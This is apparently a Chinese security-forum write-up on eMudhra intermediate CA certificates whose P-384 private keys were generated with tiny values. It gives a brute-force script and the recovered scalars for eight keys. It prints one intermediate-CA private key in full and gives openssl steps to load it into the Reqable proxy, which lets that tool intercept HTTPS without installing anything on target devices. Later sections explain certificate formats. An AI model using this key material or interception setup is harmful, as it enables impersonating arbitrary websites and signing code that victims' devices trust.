-
-
[原创]eMudhra-CA-利用
-
发表于: 4天前 431
-
原理
TLS 证书是一条签名链。客户端信任库里只有根证书,中间层和叶子层由服务器在握手时提供,逐级验证签名
graph LR
R["根证书<br/>客户端信任库里已有的证书"] --> I["中级 CA<br/>签发叶证书"]
I --> L["叶证书<br/>某个域名"]
中级 CA 的私钥用来给叶证书签名。拿到这个私钥,就能给任意域名签出链条完整、签名有效的叶证书,等于拿到了冒充任意网站的能力。
私钥与公钥的关系
ECDSA 用到的量:
| 符号 | 含义 |
|---|---|
O |
单位元,椭圆曲线上的无穷远点 |
G |
(定值)基点,曲线参数中固定的一个点,所有 P-384 密钥共用 |
n |
(定值)G 的整数阶,满足 n × G = O 的最小正整数 |
Q |
公钥,曲线上的一个点 |
d |
私钥,从 [1, n-1] 中随机选取的整数 |
公钥由私钥算出:
Q = d × G
G 乘上 n 得到单位元 O,乘上 n+1 回到 G,序列开始循环:
n × G = O
(n + 1) × G = G
所以私钥 d 只需从 [1, n-1] 中选取。n 是曲线参数里的固定常数,P-384 的 n 是一个 384 位的素数:
n = FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973
而这批证书的 d 全部小于 256,候选只有 255 个。把 d 从 1 开始逐个代入 d × G,与证书里的公钥比对即可。前几个 d 算出的完整公钥:
| d | x (前16字节) | y(前16字节) |
|---|---|---|
| 1 | aa87ca22be8b05378eb1c71ef320ad74... |
3617de4a96262c6f5d9e98bf9292dc29... |
| 2 | 08d999057ba3d2d969260045c55b97f0... |
8e80f1fa5b1b3cedb7bfe8dffd6dba74... |
| 3 | 077a41d4606ffa1464793c7e5fdc7d98... |
c995f7ca0b0c42837d0bbe9602a9fc99... |
| 4 | 138251cd52ac9298c1c8aad977321deb... |
cacae29869a62e1631e8a28181ab5661... |
| 5 | 11de24a2c251c777573cac5ea025e467... |
8fa696c77440f92d0f5837e90a00e7c5... |
d = 1 那行就是基点 G 本身。d = 4 那行的 x、y 与 EM-OV-TLS-CA-G3C-emSign.pem 证书里的公钥逐字节相同,下面是该证书的完整公钥点:
04:13:82:51:cd:52:ac:92:98:c1:c8:aa:d9:77:32:1d
eb:97:e7:09:bd:0b:4c:a0:ac:a5:5d:c8:ad:51:dc:fc
9d:15:89:a1:59:7e:3a:51:20:e1:ef:d6:31:c6:3e:18
35:ca:ca:e2:98:69:a6:2e:16:31:e8:a2:81:81:ab:56
61:6d:c4:5d:91:8a:bc:09:f3:ab:0e:63:cf:79:2a:a4
dc:ed:73:87:be:37:bb:a5:69:54:9f:1c:02:b2:70:ed
67
公钥开头的 04 是 SEC1 定义的未压缩点标记,占 1 字节,说明后面的坐标是完整的 x 和 y。剩下 96 字节依次是 x 与 y,各 48 字节,所以整个公钥点是 97 字节
所以这张证书的私钥就是 4
发生了什么
2025-04-30,eMudhra 生成了一批中级 CA。流程中临时改动了一个脚本用于测试 wrap/unwrap,由于脚本缺陷导致多生成了一对密钥,这对密钥的随机数不足。密钥标签相近,生成 CSR 时选中了弱密钥,根证书据此签出证书,同一批 CSR 也送交 Sectigo 做交叉签名
出问题的是 B、C 两个批次中的 P-384 密钥,共 8 个:DV、OV、EV 三类 TLS 中级 CA 各一对(G3B、G3C),加两个代码签名中级 CA(OV CS 的 G3B、G3C)
每个私钥对应两张证书:eMudhra 自己签发的、Sectigo 交叉签发的。两张证书公钥相同、序列号不同,通向不同的根,合计 16 张
利用
爆破私钥
枚举 d = 1..255 即可,这里留出余量跑到 4095。用 Node 的 crypto.createECDH:
const ecdh = crypto.createECDH('secp384r1');
for (let d = 1; d <= 4095; d++) {
const buf = Buffer.alloc(48);
buf.writeUInt32BE(d, 44);
ecdh.setPrivateKey(buf);
if (ecdh.getPublicKey().equals(point)) break; // point 取自证书的 SPKI
}
完整脚本 recover_key.js,接收证书路径和输出的私钥路径
8 个密钥的结果(只列 -emSign.pem 那 8 张):
| 证书文件 | d |
|---|---|
EM-DV-TLS-CA-G3B-emSign.pem |
156 |
EM-DV-TLS-CA-G3C-emSign.pem |
230 |
EM-EV-TLS-CA-G3B-emSign.pem |
115 |
EM-EV-TLS-CA-G3C-emSign.pem |
56 |
EM-OV-TLS-CA-G3B-emSign.pem |
155 |
EM-OV-TLS-CA-G3C-emSign.pem |
4 |
EM-OV-CS-CA-G3B-emSign.pem |
66 |
EM-OV-CS-CA-G3C-emSign.pem |
237 |
每张证书都有 AAA 交叉签名版,比如 EM-OV-TLS-CA-G3C-AAA.pem。两张证书公钥相同,跑脚本会还原出同一个 d。所以爆破一遍即可,8 个私钥覆盖 16 张证书
以 EM-OV-TLS-CA-G3C-emSign.pem 为例跑一遍,脚本直接输出 PEM:
node recover_key.js EM-OV-TLS-CA-G3C-emSign.pem EM-OV-TLS-CA-G3C.key
得到的 EM-OV-TLS-CA-G3C.key 就是私钥:
-----BEGIN PRIVATE KEY-----
MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAShZANiAAQTglHNUqyS
mMHIqtl3Mh3rl+cJvQtMoKylXcitUdz8nRWJoVl+OlEg4e/WMcY+GDXKyuKYaaYu
FjHoooGBq1ZhbcRdkYq8CfOrDmPPeSqk3O1zh743u6VpVJ8cArJw7Wc=
-----END PRIVATE KEY-----
openssl pkey -in EM-OV-TLS-CA-G3C.key -noout -text
Private-Key: (384 bit)
priv:
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
00:00:04
pub:
04:13:82:51:cd:52:ac:92:98:c1:c8:aa:d9:77:32:
1d:eb:97:e7:09:bd:0b:4c:a0:ac:a5:5d:c8:ad:51:
dc:fc:9d:15:89:a1:59:7e:3a:51:20:e1:ef:d6:31:
c6:3e:18:35:ca:ca:e2:98:69:a6:2e:16:31:e8:a2:
81:81:ab:56:61:6d:c4:5d:91:8a:bc:09:f3:ab:0e:
63:cf:79:2a:a4:dc:ed:73:87:be:37:bb:a5:69:54:
9f:1c:02:b2:70:ed:67
ASN1 OID: secp384r1
NIST CURVE: P-384
48 字节的私钥里 47 个是 00,最后一个是 04,有效位仅 1 字节
用这个私钥重新签官方给的 message.txt,再用证书里的公钥验证。公钥从 EM-OV-TLS-CA-G3C-emSign.pem 里取:
openssl x509 -in EM-OV-TLS-CA-G3C-emSign.pem -noout -pubkey > pub.pem
openssl dgst -sha384 -sign EM-OV-TLS-CA-G3C.key -out my.sig message.txt
openssl dgst -sha384 -verify pub.pem -signature my.sig message.txt
# Verified OK
签名通过说明这把还原出的私钥与证书里的公钥是同一对。
官方例子
官方 proof.zip 给的是持有私钥的证明:用同一个 pub.pem 去验证官方附带的签名。
openssl dgst -sha384 -verify pub.pem -signature EM-OV-TLS-CA-G3C.sig message.txt
# Verified OK
两个签名的字节不同(ECDSA 每次签名随机取 k),但都能被同一把公钥验证。上一步证明还原出的私钥对应这把公钥,这一步证明官方签名也对应这把公钥,两者合起来说明还原出的私钥与官方的私钥是同一把。
8 组证书与签名都能这样验证,把文件名换成任意一组即可。私钥可被算出这一点,由上面的枚举过程证明。
Reqable
Reqable 默认给每台设备生成一个自己的根证书,抓 HTTPS 时用它签叶证书,所以正常流程要把这个根装进目标设备。这里把这个根换成 eMudhra 的中级 CA:Reqable 改用该 CA 的私钥签叶证书,链条从叶证书走到中级 CA,再走到客户端本来信任的根,目标设备不需要安装任何根证书。
Reqable 在 3.3.5 引入中间证书支持 github issue
中间证书 p12 的生成
制作 p12,口令设为 123。两个根各签了一张证书,公钥相同、签发者不同,按客户端信任的根来选:
走 AAA 根的:
openssl pkcs12 -export \
-inkey EM-OV-TLS-CA-G3C.key \
-in EM-OV-TLS-CA-G3C-AAA.pem \
-name "EM OV TLS CA G3C" \
-passout pass:123 \
-out emudhra-g3c-aaa.p12
走 emSign 根的:
openssl pkcs12 -export \
-inkey EM-OV-TLS-CA-G3C.key \
-in EM-OV-TLS-CA-G3C-emSign.pem \
-name "EM OV TLS CA G3C" \
-passout pass:123 \
-out emudhra-g3c-emsign.p12
导入方式:证书 菜单 → 根证书管理 → 导入根证书(.p12)
使用以下命令进行测试,安卓设备无需安装任何证书:
curl -x 192.168.53.69:9000 2b2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2P5r3q4E0M7r3I4W2i4K6u0W2j5$3!0E0

其他
文件名结构
EM OV CS CA - G3C 分四段:
| 字段 | 含义 |
|---|---|
EM |
eMudhra 前缀 |
DV / OV / EV |
验证等级 |
TLS / CS |
能签发哪类终端证书 |
G3B / G3C |
第几代根体系,这一代的第几批 |
验证等级
| 缩写 | 全称 | CA 核实什么 | 证书里出现的身份 |
|---|---|---|---|
| DV | Domain Validation | 申请人控制该域名 | 只有域名 |
| OV | Organization Validation | 域名 + 组织的真实存在 | 组织名称 + 域名 |
| EV | Extended Validation | 在 OV 基础上更严格 | 组织名称 + 域名 + 注册地址 |
验证等级不改变技术上的信任强度,DV 与 EV 在浏览器里走同一条验证路径,差别只在证书里写不写公司名。
用途
graph TD
R1["emSign Root TLS CA - G3"] --> T["EM DV / OV / EV TLS CA - G3B、G3C<br/>签发服务器证书"]
R2["emSign Root CS CA - G3"] --> C["EM OV CS CA - G3B、G3C<br/>签发代码签名证书"]
TLS 签发服务器证书,CS(Code Signing)签发代码签名证书,用于可执行文件、驱动、安装包。代码签名证书的审核等级是 OV,所以写作 OV CS。
代次与批次
G3 是 eMudhra 第三代根体系(ECC P-384),上一代 G1 用 RSA。B、C 是 2025-04-30 那次仪式里 24 个中级 CA 的分批,A 批在 2025 年 5 月撤销并由 A-1 替换。G3B 属 O=eMudhra BV, C=NL,G3C 属 O=eMudhra Inc, C=US。
格式
| 格式 | 全称 | 是什么 |
|---|---|---|
| ASN.1 | Abstract Syntax Notation One | 描述数据结构的标准 |
| DER | Distinguished Encoding Rules | ASN.1 的二进制编码规则 |
| PEM | Privacy-Enhanced Mail | DER 再做 Base64,外面包文本头尾 |
| PKCS #8 | Public-Key Cryptography Standards #8 | 装私钥的 ASN.1 结构 |
| PKCS #12 | Public-Key Cryptography Standards #12 | 装证书链和私钥的加密容器 |
层次关系:ASN.1 定义"有哪些字段",DER 决定"字节怎么排",PEM 在 DER 外面套一层文本,PKCS #8 和 PKCS #12 都是 ASN.1 定义的具体结构。
graph LR
A["ASN.1<br/>结构定义"] --> B["DER<br/>二进制编码"]
B --> C["PEM<br/>Base64 + 文本头尾"]
A --> D["PKCS #8<br/>私钥结构"]
A --> E["PKCS #12<br/>容器结构"]
D --> B
E --> B
扩展名只是约定。.pem、.crt、.cer、.der 都可能装 PEM 或 DER,判断依据是文件开头:-----BEGIN 是 PEM,首字节 0x30 是 DER
ASN.1(Abstract Syntax Notation One)
ASN.1 是一种描述数据结构的标准,规定"一个私钥由哪些字段组成、每个字段是什么类型",不管这些字段怎么变成字节。
一份私钥的 ASN.1 结构叫 PKCS #8 PrivateKeyInfo。这份私钥的 PrivateKeyInfo 是三段:
| 字段 | 类型 | 内容 |
|---|---|---|
| version | INTEGER | 0 |
| privateKeyAlgorithm | SEQUENCE | 算法标识,写 EC 和曲线名 |
| privateKey | OCTET STRING | 私钥本体,本身又是一段 ASN.1 |
第三段里装的是 RFC 5915 定义的 ECPrivateKey,后两个字段都可以省略:
| 字段 | 类型 | 内容 |
|---|---|---|
| version | INTEGER | 1 |
| privateKey | OCTET STRING | 私钥标量,48 字节 |
| parameters | [0] |
曲线,可省略 |
| publicKey | [1] |
公钥点,97 字节,可省略 |
DER(Distinguished Encoding Rules)
DER 是 ASN.1 的一种编码规则,规定字段怎么变成字节,每个值都是三段:
| 段 | 含义 |
|---|---|
| Tag | 一个字节,说明这个值是什么类型 |
| Length | 长度,短格式占 1 字节;最高位为 1 时表示长格式,低 7 位是后续长度字节的个数 |
| Value | 内容,定长类型就是原始字节,复合类型就是内嵌的其他 TLV |
常见 Tag:
| Tag | 类型 |
|---|---|
30 |
SEQUENCE,有序的复合结构 |
02 |
INTEGER |
04 |
OCTET STRING,一段字节序列 |
06 |
OBJECT IDENTIFIER,带点号的标识 |
03 |
BIT STRING |
a0 / a1 |
[0] / [1] 上下文标签,表示可选字段 |
例如通过 cyberchef Parse ASN.1 hex string 组件就可查看
SEQUENCE
INTEGER 00
SEQUENCE
ObjectIdentifier ecPublicKey (1 2 840 10045 2 1)
ObjectIdentifier secp384r1 (1 3 132 0 34)
OCTETSTRING, encapsulates
SEQUENCE
INTEGER 01
OCTETSTRING 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009c
[1]
BITSTRING 0004e79ed9c04a9773c4735e51111da85ac2bd5e64ab374b80e12cbc2038ec1e4f0e3b812fc9859e1e67afb04e2f8bc97f7485ba65aa911ee8a4e45b62d5cc03d56be678b3c38cb4dc937ca2460e238453c892935d29d44f91e15606b63ccedab468
PEM(Privacy-Enhanced Mail)
PEM 把 DER 做 Base64,每 64 个字符换一行,首尾各加一行标记:
-----BEGIN CERTIFICATE-----
MIIDzjCCAragAwIBAgIRAKAk/fS6Zlx4XOSgIEg4WLcwDQYJKoZIhvcNAQELBQAw
ezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G
...
-----END CERTIFICATE-----
首尾两行的标记叫 label,说明里面装的是什么:
| label | 内容 |
|---|---|
CERTIFICATE |
X.509 证书 |
PRIVATE KEY |
PKCS #8 私钥 |
EC PRIVATE KEY |
传统 EC 私钥,没有 PKCS #8 外层 |
RSA PRIVATE KEY |
传统 RSA 私钥 |
PUBLIC KEY |
公钥 |
Base64 是可逆的文本编码,转回二进制就是 DER:
openssl x509 -in cert.pem -outform DER -out cert.der # PEM 证书 → DER
openssl x509 -inform DER -in cert.der -out cert.pem # DER 证书 → PEM
一个文件里首尾相接放多张证书,就是证书链或 CA bundle,验证时会按顺序逐张尝试:
grep -c "BEGIN CERTIFICATE" bundle.pem
p12(PKCS #12)
PKCS #12 是容器,把证书链和私钥装进一个文件,扩展名 .p12 或 .pfx。抓包工具需要同时拿到证书和私钥,所以用这个格式。制作方法见上面的 Reqable 一节。
文件
| 文件 | 内容 |
|---|---|
| emudhra-public.zip | 16 张公钥证书,命名 <名称>-emSign.pem 与 <名称>-AAA.pem |
| emudhra-private.zip | 8 个还原出的私钥,命名 <名称>.key |
| emudhra-g3c-aaa.p12 | 中级 CA 私钥 + EM-OV-TLS-CA-G3C-AAA.pem,口令 123 |
| emudhra-g3c-emsign.p12 | 中级 CA 私钥 + EM-OV-TLS-CA-G3C-emSign.pem,口令 123 |
| proof.zip | 官方的签名材料:8 组 .crt.pem、.pub.pem、.sig,加一个 message.txt |
| recover_key.js | 爆破脚本 |
参考
- 事件页面:725K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2L8i4g2V1K9s2u0S2i4K6u0W2N6$3g2Q4x3X3c8Z5j5i4k6W2i4K6u0V1j5g2)9J5k6s2m8J5L8$3u0D9k6h3#2Q4x3X3g2U0L8$3#2Q4x3V1j5`.
- Reqable 文档:2ccK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6J5k6i4q4S2j5X3I4W2i4K6u0r3M7X3g2I4j5h3u0D9k6g2)9J5k6r3c8G2j5%4x3`.
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
赞赏
- [原创]eMudhra-CA-利用 428
- [原创]一款可分享密码的解压缩 app 分析学习 28230
- [原创]Wechat H5 DevTools 4727
- [原创]趣智校园 app 分析 6874
- [原创][首发] b 站 drm 视频流程简析 13636